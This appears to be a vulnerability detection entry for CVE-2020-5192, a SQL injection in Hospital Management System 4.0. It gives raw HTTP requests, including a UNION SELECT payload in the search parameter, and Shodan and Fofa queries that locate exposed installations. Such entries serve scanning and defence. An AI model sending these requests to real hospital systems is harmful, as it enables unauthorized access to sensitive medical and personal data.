| Title | Hospital Management System 4.0 - SQL Injection |
|---|---|
| Author | TenBird |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0. |
| CVSS Score | 8.8 |
| EPSS Score | 0.31998 |
| CVE ID | CVE-2020-5192 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:"hospital management system" |
| Fofa Query | body="hospital management system" |
| Tags | cve cve2020 hms cms sqli authenticated edb phpgurukul vuln |
Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
POST /hospital/hms/doctor/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=bhQCRRpassword=WYsKAe&submit=&submit=
POST /hospital/hms/doctor/search.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5(7563),1),2),NULL--+PqeG&search=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5192.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5192.pcap
N/AN/A